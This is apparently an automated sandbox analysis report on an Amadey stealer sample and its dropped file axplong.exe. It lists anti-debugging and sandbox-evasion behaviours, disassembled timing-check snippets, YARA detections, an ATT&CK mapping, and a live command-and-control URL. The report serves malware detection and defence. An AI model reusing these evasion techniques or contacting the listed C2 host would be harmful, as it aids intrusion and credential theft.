Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E084D second address: 50E0851 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0851 second address: 50E0857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0857 second address: 50E088B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8D9CB5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [76FAB370h] 0x0000000e jmp 00007FE5B8D9CB60h 0x00000013 xor dword ptr [ebp-08h], eax 0x00000016 pushad 0x00000017 popad 0x00000018 xor eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E088B second address: 50E0891 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0891 second address: 50E08C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edx 0x00000005 call 00007FE5B8D9CB62h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esp 0x0000000f pushad 0x00000010 mov ax, C7D3h 0x00000014 popad 0x00000015 mov dword ptr [esp], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov ax, 507Dh 0x0000001f mov eax, 2F417779h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E08C3 second address: 50E0941 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE5B8F4A755h 0x00000009 sub eax, 564ED046h 0x0000000f jmp 00007FE5B8F4A751h 0x00000014 popfd 0x00000015 jmp 00007FE5B8F4A750h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d lea eax, dword ptr [ebp-10h] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FE5B8F4A74Dh 0x00000029 or al, 00000056h 0x0000002c jmp 00007FE5B8F4A751h 0x00000031 popfd 0x00000032 jmp 00007FE5B8F4A750h 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0941 second address: 50E0953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8D9CB5Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0953 second address: 50E0966 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0966 second address: 50E096D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E096D second address: 50E0A2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A755h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d mov si, B723h 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FE5B8F4A755h 0x00000018 adc esi, 42B22F26h 0x0000001e jmp 00007FE5B8F4A751h 0x00000023 popfd 0x00000024 popad 0x00000025 popad 0x00000026 mov eax, dword ptr [esi+10h] 0x00000029 jmp 00007FE5B8F4A74Eh 0x0000002e test eax, eax 0x00000030 jmp 00007FE5B8F4A750h 0x00000035 jne 00007FE62AD19A88h 0x0000003b pushad 0x0000003c push eax 0x0000003d movsx edx, ax 0x00000040 pop eax 0x00000041 mov si, di 0x00000044 popad 0x00000045 mov eax, 00000000h 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d pushad 0x0000004e popad 0x0000004f pushfd 0x00000050 jmp 00007FE5B8F4A759h 0x00000055 or eax, 32DCDB46h 0x0000005b jmp 00007FE5B8F4A751h 0x00000060 popfd 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0A2F second address: 50E0A35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0A35 second address: 50E0A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0A39 second address: 50E0A3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0A3D second address: 50E0A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-20h], eax 0x0000000b jmp 00007FE5B8F4A74Fh 0x00000010 mov ebx, dword ptr [esi] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov ax, bx 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0A62 second address: 50E0A68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0A68 second address: 50E0A6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0A6C second address: 50E0A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-24h], ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FE5B8D9CB5Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0A89 second address: 50E0A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0A8E second address: 50E0A9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8D9CB5Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E0061 second address: 50E0066 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 8A7155 second address: 8A715B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 8A715B second address: 8A717D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A754h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jo 00007FE5B8F4A746h 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 8A7473 second address: 8A7479 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 8A7722 second address: 8A773E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8F4A758h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 8A7479 second address: 8A748C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 jp 00007FE5B8F4A75Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 8A748C second address: 8A7490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 8A7490 second address: 8A7496 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 8A7722 second address: 8A773E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5B8D9CB68h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 8A8293 second address: 8A8299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 8A8299 second address: 8A82B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE5B8D9CB66h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 8A82B6 second address: 8A82CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FE5B8F4A746h 0x0000000e jnp 00007FE5B8F4A746h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 8A82CA second address: 8A82D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 89C57B second address: 89C581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 871734 second address: 871749 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8D9CB61h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 871749 second address: 87174F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	RDTSC instruction interceptor: First address: 87174F second address: 871755 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Special instruction interceptor: First address: 7BEA73 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Special instruction interceptor: First address: 95CDEC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Special instruction interceptor: First address: 95CADA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Special instruction interceptor: First address: 985B9D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Special instruction interceptor: First address: 9EDF44 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 70EA73 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 8ACDEC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 8ACADA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 8D5B9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 93DF44 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\EXyAlLKIck.exe

Code function: 0_2_05130B6A rdtsc

0_2_05130B6A

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Window / User API: threadDelayed 405

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7900	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7900	Thread sleep time: -76038s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7860	Thread sleep count: 405 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7860	Thread sleep time: -12150000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7992	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7884	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7884	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7860	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\EXyAlLKIck.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: axplong.exe, axplong.exe, 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: axplong.exe, 00000007.00000002.3248149591.0000000001299000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: axplong.exe, 00000007.00000002.3248149591.000000000126D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: EXyAlLKIck.exe, 00000000.00000002.2055040575.000000000093D000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000002.00000002.2085188988.000000000088D000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000003.00000002.2085933555.000000000088D000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\EXyAlLKIck.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\EXyAlLKIck.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\EXyAlLKIck.exe

Code function: 0_2_05130B6A rdtsc

0_2_05130B6A

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 7_2_006D645B mov eax, dword ptr fs:[00000030h]		7_2_006D645B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 7_2_006DA1C2 mov eax, dword ptr fs:[00000030h]		7_2_006DA1C2

Source: C:\Users\user\Desktop\EXyAlLKIck.exe

Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"

Jump to behavior

Source: axplong.exe, axplong.exe, 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 7_2_006BD312 cpuid

7_2_006BD312

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 7_2_006BCB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

7_2_006BCB1A

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 7_2_006A65B0 LookupAccountNameA,

7_2_006A65B0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 7.2.axplong.exe.6a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.EXyAlLKIck.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.axplong.exe.6a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.axplong.exe.6a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2014529476.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2085097235.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2045418136.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2054954455.0000000000751000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2671343641.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2085839344.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2044771326.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	251 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	251 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	224 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
EXyAlLKIck.exe	100%	Avira	TR/Crypt.TPM.Gen
EXyAlLKIck.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.16/Jo89Ku7d/index.php32	100%	Avira URL Cloud	phishing
http://185.215.113.16/	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpc	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpp;	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php=	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpy	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpZ	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpx	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpded	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpncoded	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpt	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php3	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
206.23.85.13.in-addr.arpa	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.16/Jo89Ku7d/index.php	true	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.16/Jo89Ku7d/index.php32	axplong.exe, 00000007.00000002.3248149591.000000000126D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/	axplong.exe, 00000007.00000002.3248149591.000000000127F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpc	axplong.exe, 00000007.00000002.3248149591.000000000127F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.php=	axplong.exe, 00000007.00000002.3248149591.0000000001299000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
